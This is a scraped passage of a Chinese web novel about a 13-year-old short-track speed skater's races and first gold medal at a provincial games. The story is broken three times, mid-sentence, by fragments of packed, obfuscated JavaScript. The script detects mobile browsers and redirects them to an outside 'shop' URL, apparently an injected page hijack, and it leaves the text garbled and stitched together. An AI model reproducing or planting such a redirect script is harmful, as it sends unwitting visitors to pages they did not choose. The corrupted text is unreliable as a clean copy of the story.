代越按住自己想要提速的心,留心神给后面的选手,靠近时的压迫感是不一样的,压迫感强的时候稍稍快一点,压迫感低的时候就压压速度,比赛节奏已经完全掌握到自己手里了。 最后一圈,冲线。真好,体力没费多少。 套上冰刀套,代越没急着坐下休息,双手搭着防护垫看下一组的比赛。 白慧荣和代越采取的战术一样,没有急着领滑,圈数剩下一多半的时候,突然一个选手加速了,加的很快,剩下的选手都有些懵了,一瞬间拉出来半圈距离。 是战术还是意外?白慧荣第一时间反应过来,提速跟上,节奏已经被破坏,如果放任第一个人自己走,那没她套一圈回来缀在后面,相当于送她晋级。 防护垫外的教练们也都大声喊起来,其他选手在这种情况下都分别做出了不一样的反应,一时之间场内场外乱成一团。 白慧荣第三冲线,没有直接晋级,但是这组整体速度很快,不出意外能拿一个小q晋级位。 只是看白慧荣下来喘的状态,一会儿的半决赛风险很大了。 当然同组的其他人状态也是半斤八两。大家一起怒目盯着那个破坏节奏的家伙,她也没有晋级,滑到最后没力气了,只能说损人不利己。 杨教练安抚的拍拍白慧荣肩膀,“赶快休息吧,能恢复多少就恢复多少!” 又转头对着代越说,“你也抓紧时间休息,顺便吸取教训!” 代越惺惺的点点头,以后看比赛的时候不能只看战术成功案例了,还有因为各种各样原因失败的战术执行也该看看。 但是,真有意思,短道速滑就是它过程和结果的不可预料才显得格外有魅力。 “教练,我也想试这个!”代越平时听话归听话,谦虚也很谦虚,但骨子里也藏着一点叛逆。 “试什么试!你后面又多少比赛你不知道吗?”杨教练眼睛都瞪大了,严厉反对。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345285|199521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 代越有些失望的低下头,长得好看的小孩伤心的时候都很有感染力,眉眼都垂下来,嘴唇抿着,一副我很难过但我强撑着的感觉,一下子就让人心软了。 她岁数还小,平时训练那么苦那么累都没说过什么,现在不过是这点要求,杨教练给自己说服了,但理智还存在一些,话锋回转,“今天不行,最多,明天1000米的时候,初赛可以玩玩。” 第二个比赛日上午是500米决赛,下午是1000米的初赛和半决赛,只有三枪,体能压力没那么大,恢复时间也足够,凭代越的实力,初赛也可以玩玩。 代越眼睛里闪过一起得逞,以前滑轮滑时候这么对老冀也是无往不利。 代越其实也不是任性,她知道听教练的安排是对比赛最稳的方式,但站在赛场的终究是自己,她总要在有条件试错的时候尽量体验一下尽可能多的情况。 她不知道自己的想法是不是合理,但总归还是那句话,她有条件试错。 —— 张雅洁也以小组第二的成绩进了半决赛,L队三个人都进了半决赛,算是整个省运会比较强劲的队伍了,其他队伍的目光也逐渐关注L队起来,其中关注代越的人尤为多。 参赛名单完整版已经都拿到手了,代越年纪最小却报满三项,明显是L队的种子选手。 半决赛代越和白慧荣都在第一组,坏处在于,最好的情况白慧荣大概率也只能去竞争一个晋级名额,好处在于两人可以配合了。 “越越,还记得我之前跟你说过什么吗?”白慧荣眼神坚定,拳头握紧,她这种状态的时候真的很少。 所以几乎是一瞬间代越就想起来了,年前还没去外训的时候。 “我给你护滑——”这次她甚至没说条件。 “你体力之前就耗费了不少,我们可以交替的,这样两个人可能都能进!”代越说。 白慧荣摇摇头,“就是因为我体力不够,所以才要保你晋级,你别觉得自己厉害一定是第一,这轮E队屈艳和M队的潘若昕都和咱们一组,她们也都是各自队伍的种子选手,大意的话我们都有可能进不了。” 张馨月好打听这些消息,昨天晚上专门去食堂和人拼桌套情报。 N省已经建设起一支短道速滑省队了,位置就定在M市,潘若欣是第一个被省队录取的成员。 屈艳也是被富贵的E市花钱砸出来的天赋选手。 代越一时之前也不知道说什么了,短道速滑的战术配合也是比赛的一部分,配合就会有取舍。 “前一半圈数,我们交替,后面你跟紧我。”折中一下,代越还是没有办法完全心安理得的接受别人的托举。 视线越过半截防护垫,看向M市和E市那两位选手,很厉害吗?我想试试。 M队教练也在安顿潘若欣,“这组L队两个选手一组,注意位置,别让她们汇合打配合,提前提速也得找机会插进去。” 屈艳也在接受教练的安排,“M队肯定不会放任L队耍战术,你就跟紧潘若欣,她上你就上,彻底别给L队机会。” 13. 第十三章 “这就是所谓的死亡之组吧。”今天没有比赛的选手都坐在观众席上,张馨月看着场上,忍不住感慨道。 “没想到越越和荣荣姐是咱们队两个小黑手,这分组的运气——绝了。”其他队友也跟着附和。 边上举着一个相机脖子上挂着媒体证的大哥,有些好奇的问她们为什么这么说。 张馨月解释的同时把自己掌握的选手情报分享给周围当观众的大家。 周围不太了解比赛的观众都竖起耳朵听。 “这么听你说来。这场比赛倒像是决赛的阵容了。”媒体大哥立马把相机打开摄像模式,打算把整个比赛过程都录下来,说不定就有惊喜了。 相机聚焦,画面对到场上那个小选手——媒体大哥居然一眼就认出来了,是昨天他拍的照片C位选手,简直缘分啊! 虽然场上的选手都穿着紧身衣,带着头盔,护目镜也遮住半张脸,但莫名就是让人印象深刻,他决定要好好关注一下这个选手的实力,每种体育项目都有自己专属的明星选手,他靠自己当媒体人十几年的眼光保证,这个选手实力足够的话,有当明星选手的潜力。 代越她们已经站在了起点线,同一起点线上大家若有若无的视线碰撞,隐晦的观察防备,无形的火药味弥漫在周围。 因为白慧荣是通过小q(最快第三名)补位进来,所以道次很靠后,代越打算出发的时候也先靠后一点,好方便和她汇合。 “准备——”枪响开始出发。 第一个弯道,代越和白慧荣成功在第四位和第五位汇合,代越排在白慧荣前面。 接下来代越率先动身,最经典的外道超越,此时速度还比较低,双手背在身后,用不着扶冰,白慧荣就贴在她身后,两人迈着相同频率的步伐先后来到了第二位和第三位,排在两人前面的是E队的种子选手屈艳。 还有10圈,代越再次动身,这次却没那么容易,比白慧荣反应更快的是M队的种子选手潘若欣。 潘若欣死死挡住了白慧荣要跟随的脚步,她用自己的身体强行把白慧荣禁锢在了内道屈艳的身后。倘若白慧荣要向外突破,极有可能造成犯规。 这时如果代越继续执行超越到前面的战术,就等于放弃了与白慧荣打配合的机会,还会让潘若欣轻松跟着上位。 好在拐弯时,代越视线余光看到了后面不是和自己相同队服的白慧荣,第一时间放缓了脚步,于是潘若欣也被迫降速,为了防止碰撞,手还托了一下代越的屁股。 在短道速滑里,这种在高速滑行中为了保持平衡而产生的自然身体接触,且没有影响到前者的滑行节奏、位置或比赛安全,通常不会被判定为犯规。 说起来这种摸屁股扶腰的行为,教练还针对此专门给代越她们训练过,毕竟在比赛里这种轻微的无意识的动作很多、很常见,如果被碰一下就出现应激反应,那摔出去的就很有可能是自己了。 所以代越没有受到任何影响。 经过这样一番操作,排序变成了白慧荣二位,代越三位,这波等于消耗了不少体力白干,算是都给屈艳当护滑了,但这个选择又是化解这个场面的最佳处理方式。 “超越是很耗费心力和体力的。,尤其是没有成功的超越,有时候甚至还会影响到选手整个比赛后面的状态。”张馨月不吝啬的给身边的媒体人解释。 对短道速滑没有那么了解的媒体人恍然大悟,感慨道,“这些选手都好聪明啊!那么短的时间就能想到这么多的解决方法。” “也不能说是聪明吧!就是滑商,滑商你懂吗?我们滑冰的人都有的,只不过有些人的滑商格外出众。” 张馨月难得遇到一个对滑冰没有那么了解,能够听自己科普心中那些滑冰知识的人,解说的不要太爽。 媒体人也给面子的点点头,一副学到了的样子。 再看回场上。 屈艳感觉到后面的斗争停下来,刚想缓口气,就又来了。 白慧荣表示自己刻苦训练了这么久,在场上当然也不是吃干饭的,不能纯靠队友带吧。 她咬紧牙,一鼓作气,这次她来进行主动超越,脚上再加两刀。 屈艳试图阻挡,身体微微的移向了外侧。 有机会! 她们两个人在外道交战,导致内道露出了一个窄小的位置。 钻过去了! 代越身材足够纤细,一个轻巧的加刀,整个人丝滑的钻到了前面。 屈艳下意识的补救,但已经来不及了。 她补救的行为不仅没起到作用,又给外道形成了超越机会。 白慧荣也出来了。 不,不止白慧荣一个人,潘若欣也抓住了机会,而且潘若欣收线的能力比白慧荣更强。 一个直线的距离,她就从内道卡在了白慧荣前面。 短短半圈,前面的位次全部调换。 “太精彩了!”观众席上传来一波赞叹和鼓掌声。 除了反应有些失误的屈艳,每个人都抓住了机会。可以列入看回放学习的一幕。屈艳一瞬间都想到了比赛结束后复盘,自己教练的脸色。她给别人当了精彩集锦的背景板。 这是今天上午的比赛以来最有斗争性的画面,完全预料不到下一秒会发生什么,观众们丝毫不敢眨眼睛。 精彩集锦主角之一的代越来不及想这些,此时单圈圈速已经提到了9秒以内,而圈数还剩下一半。相对其他组来说,这一组整体的速度都太快了些。 而后面潘若欣给的压迫很强,代越现在来不及做防守,只能憋着气,把速度再提高,这样即便内外都有空间,但潘若欣也没有再提速超越的能力。 两人的速度已经快到和中间第三位的白慧荣拉开不小的距离。 在代越看不见的位置,白慧荣体力已经不够了,在前期积攒了不少体力的屈艳也开始发力,补救自己刚才的失误。 冲线——一位代越,二位潘若欣,三位屈艳,因为整组速度都快,所以第三名的小q名额应该也能拿到。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345286|199521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >只是白慧荣可惜了,前面的超越还是很精彩的,后面实力不够还是没能进入到决赛。 白慧荣虽然有些遗憾,但还是安抚的拍拍戴月肩膀,表示自己没事。 撑着膝盖,又滑了两圈,感觉到稍微没那么喘了,选手们相继走下冰场。 杨教练对这场比赛很满意,也很欣慰,有配合阻拦,有勇气超越,尽管战术没能像预想的一样成功实施,但这两个小孩已经做到了自己能做的所有。 “干的不错。”他这么夸奖着。 观众席上媒体大哥见张馨月很高兴的样子。就猜到他一定和拿到第一晋级席位的小选手认识。 “我们是一个队的嘛!”张馨月与有荣焉,“这是我们队最小的妹妹代越,才13岁,虽然岁数小,但实力超强。” “这倒是已经看出来了。L队今年风头挺旺呀!”媒体大哥吹捧着张馨月更得劲了。 没忍住安利,“我们代越妹妹不止参加这一场比赛,500米,1000米她都有比赛,全能型大魔王选手。” 如果说最开始训练的时候,张馨月还对代越有些嫉妒,经过这么长时间的相处,嫉妒早就转化成了佩服。 她真心希望代越能一直这么优秀,甚至越来越优秀,最好进入国家队,登上世界舞台。有朝一日如果代越拿了世界冠军,她还可以跟别人炫耀,这曾经是我队友,我队友你们知道吗? 经过张馨月的安利,媒体大哥都想早点买股了。可惜他要写的宣传稿,是宣传整个短道速滑比赛,不能针对一个选手写,但他的私心决定再多拍几张代越的照片,作为宣传稿的配图。 除了这个死亡之组,其他组的,包括张雅洁所在的那组竞争就没这么大了,组内实力相差的也比较明显,她在其中属于实力强的那个。 小组第一,轻松晋级赛,这让代越都不得不羡慕的分组运气。 白慧荣的羡慕更是溢出了眼眶,她只有这一个单项项目,接力虽然也报了她的名,但能不能上场还不一定,要看教练的安排。如果不能上场,那她的省运会就已经到此结束了。 想到这里,心里的沮丧蔓延开来,独自坐在休息室的角落里,消化情绪。 半决赛结束。 这样决赛的名额L队又占了两个,还是有执行战术的机会的,杨教练脸上笑容都止不住了。 同样露出微笑的还有M队的教练,因为他们也晋级了两个选手。 休息一会,今天上午最后的比赛是1500m决赛。代越喝了两口水,又上了趟卫生间,解决掉生理问题,坐在休息间的椅子上,按摩有些发酸的小腿。 都要中午十二点了,她们比的还是最后一场,感觉肚子都有些饿了。 杨教练走进来,又仔仔细细的检查了一下代越和张雅洁的冰刀,确保没有什么问题。 就这样,代越的第一个奖牌之战来了。 说实话,体力并没有完全缓过来,好在最有竞争力的,是同样在半决赛耗费很多体力的潘若欣和屈艳。 14. 第十四章 1500米的起步很慢,但大家都报着不让其他队伍同队的人贴到一起的想法,所以一时之间挤做一团,代越明显感觉到自己被碰撞了好几次,一直到初始弯道过去,大家才依次排好队跟滑前面的人。 代越和张雅洁在第一位和第四位,M队的潘若欣和队友申佳在第三位和第六位,E队的屈艳在第二位,F队和H队两名选手一个在五位,一个在七位。 风平浪静,前五圈都没有人有想法,就这么单纯的跟滑,代越虽然抵着风阻,但滑的很舒服,屈艳给护滑的稳稳当当的,看上去像是和半决赛那场比赛状况来了个调换。 代越的风格是,只要让她滑到了一位,就会把速度带起来,后面的选手很难有超越的机会,能跟住不被拉开距离就已经很好了。 “越越这个体力怪物,都第三枪了,还能这么快。”张馨月又在感慨。 媒体大哥顺势询问她们平时的训练量多少。 张馨月说,“我们训练量还挺大的,但据说越越训练完还会自己再去滑冰,特别有自控力。” “不止晚上,越越早上晨练的训练量好像也不小,长跑几公里都是捎带手的。”曹悦跟着补充。 媒体大哥在心中润色成要加在宣传稿中的语句,一个优秀的运动员天赋和勤奋缺一不可,而在小小年纪就拥有常人无法比拟的自控力更是难得。 冲线的时候代越还觉得很神奇,就这么单纯的结束了,她怎么感觉像是独自滑了场比赛,对上第二名屈艳的目光,屈艳的眼神里充满复杂。 代越有点不知道该不该礼貌的跟她说声谢谢,感谢她像碉堡一般的守护。 屈艳滑到代越跟前,代越在这个年纪162的身高一点也不矮,但屈艳还比她高出一个头,眼睛直勾勾的盯着她,明艳的长相看起来凶得很,像是在等待着什么,代越迟疑了一下,夸赞道,“你的护滑能力真强——下次有机会再合作!”很诚恳。 屈艳心里翻江倒海,难道是我想给你护滑吗?这不是拼尽全力都没有追上你嘛!嘴角抽搐了一下,说道:“下次不会再给你护滑了!”说罢又气汹汹的走开。 紧接着代越就听见杨教练高声的召唤,还有观众席上几个队友兴奋的喊叫。 他们叫的是自己的名字。 等等,她是第一个冲线的,确认无误,这是1500米决赛,也就是说,代越拿到了1500米的金牌。 是金牌唉!她短道速滑的第一块金牌! 居然就这么轻易拿到了。 一瞬间,代越感觉自己身体的疲惫全部消失了,腿也不酸了,冰刀像是踩在了棉花里,整个人漂浮在云彩上,已经听不到周围人在说什么,带点茫然的走下冰场。 “干得漂亮代越,我就知道你一定能拿冠军的!”杨教练强压抑住自己内心的喜悦,作为教练他要训得了学生也上得了台面,区区一个省运会冠军,看不到代越这个小孩都这么宠辱不惊吗? 代越其实只是没缓过来,没想到会造成大家的错误认知,以为她根本不把这个冠军放在眼里,整个人装的一匹。 直到坐在换鞋的凳子上,解开冰鞋的鞋带,看到大屏幕上打出来的成绩,才忍不住勾起嘴角,嘿嘿,她拿到冠军了。 久到心情都平复下来了,第三名和第四名的成绩还没出来,代越有些疑问的看向杨教练。 “最后一圈张雅洁和潘若欣撞了一下,看不太清楚是谁的主观错误,裁判在慢放回看,要看有没有判罚 还有判到谁头上,没有的话就是潘若欣第三。”杨教练给没有看到的代越解释。 张雅洁也坐在代越边上等待结果。 结果出来了,判罚理由是潘若欣直线末端未给内侧选手,也就是张雅洁留出足够空间,因此发生碰撞被判犯规,所以第三名是张雅洁。 杨教练这下子更开心了,一场比赛两个牌子,太争气了。 张雅洁也笑着,“幸好我身板硬,没被撞太开,捡了块铜牌,也不错。”实话讲,那个位置即使没有发生碰撞,自己没有受到影响,潘若欣也能超越自己。 M队,气压有些低,被省队录取的第一人居然在第一个项目比赛没登上领奖台,潘若欣套上羽绒服,她个子有点矮,头发在脑后盘了个小花苞,五官都很温柔,此刻像是要哭了一样,抿着嘴唇离开。 上午结束前举行了颁奖仪式,代越收获了一枚金牌还有成绩证书,上面清楚地写着比赛成绩是2‘38‘21’,这个成绩也就是省运会历史赛事首次1500米最佳成绩了。 就这杨教练还有些遗憾,“可惜只有决赛成绩能作为最后排名依据,半决赛成绩只能当晋级依据,那场的速度更快的。”他特别像考了第一的孩子家长,被问到学习经验时说自己孩子这次没有发挥出全部实力。 H队教练和他站在一起,心里暗骂了一声太装了,藏着心里的嫉妒,怎么紫微星就降在他们队了,年前训练的时候自己还安慰杨洲这个老混蛋,安慰他L市的基础设施都没建起来,所以成绩怎么样也不要有压力。 谁曾想这家伙憋了个大的,现在有压力的是自己,兄弟都开上路虎了,他还担心兄弟过不好,绝交,必须绝交! 代越对这个成绩没有太在意,短道速滑又不是单纯的和自己比赛,赢过场上所有人就好了。 午休陈初青还带回来一束花,送给代越的,“恭喜你呀,小冠军,争取拿个小满贯!” “谢谢。不过初清教练,你这样好吗?”代越小声的提醒,“您毕竟是代表M队的,就这么给我加油。” 陈初青露出神秘的微笑,没有解释。 —— 下午两场比赛,500米的预赛和半决赛,代越,徐媛和罗亚青三人参加。 代越摔出去的时候还有点懵,屁股摩擦的有点疼,但应该没伤到,思绪还没反应过来,人就已经爬起来,开始滑了起来。 时间退回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347164|199521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到半决赛的开始。 五百米从道次竞争上滑的就很激烈,预赛代越的签运不是很好,最后是第二名冲线的,所以半决赛的道次依旧不怎么样。 好在之前代越专门练过起跑,用力登冰插到了三位,保险点的晋级是第二位,所以位次刚稳下来,代越就在进弯的时候提前滑了外道。 前面是F市的一位选手,她丝毫不让,代越感觉到自己扶冰的收似乎碰到了她的冰鞋,避免犯规,又滑开点距离,接着出弯,加刀,试图直道超越。 前者腿分的很开,整个滑行路线把直道像是滑成了弯道,然后代越来不及反应,一个后肘就撞在了自己的大腿上,她身体失去平衡了,顺便带走了代越。 代越撞在防护垫上的时候,耳边传来了最后一圈的摇铃。 扶着防滑垫,沿着赛道外围,摔倒之后被套圈的滑行,是不能给整场比赛的正常滑行选手造成阻挡的,所以代越几乎是目送着其他选手一个个冲线。 慢吞吞的冲线,保了一个完赛成绩。 “没受伤吧?”杨教练着急的问,视线仔细打量代越的身体,“哪里不舒服,我去叫医护人员。” 代越情绪稳定的安抚,“我没事,哪里都没受伤,就是冰刀撞垫子上了,得看看有没有影响。” “冰刀不重要,换一双就行,人没事就是万幸。”杨教练长舒一口气。 裁判的判罚也下来了,判了F队选手手臂阻挡,代越被判进,挤掉了唯一一个小q名额。 “应该判危险行为的!她摔倒的时候根本撞不到你,但她故意抬胳膊了。”晚上一起吃饭的时候,性子急的曹悦气愤的捶桌子。 罗亚青跟着说,“就是,你们摔了之后的到晋级位的就是她们同队的队友,保不齐是什么战术呢!” 风暴中心的代越反倒成了安抚大家情绪的人,“好啦,摔倒的时候下意思想抓住身边的东西也很正常,不管她了,万幸的是这场是半决赛,有判罚晋级的机会,要是决赛我才有的哭呢!” “就是道次又是最外道了。”白慧荣有些惋惜的说。 500米道次影响真的太重要了,就拿这场半决赛,一道H队的谢婷,从头到尾都是一位晋级,代越但凡不是在外道,哪有给她们碰撞的机会。 “没关系有我呢!”徐媛这个大姐姐说出兜底的话,“是时候让你们见识一下短道老油条的厉害了。” 她凑到代越耳边,悄悄说了一句话。 代越有点瞠目结舌,“这——这样可以吗?” “你不可以这么做,我只是给你打个预防针,你早晚也会碰到这样的情况的,但你不可以学,知道吗!”徐媛衣服只许州官放火不许百姓点灯的样子。 “什么呀?什么呀?我们也想听!”张馨月憋坏了,有情报自己还问不到可太难受了。 徐媛警告代越,“不许说出去!这是我的秘密!” 代越捂住嘴,乖巧的点头。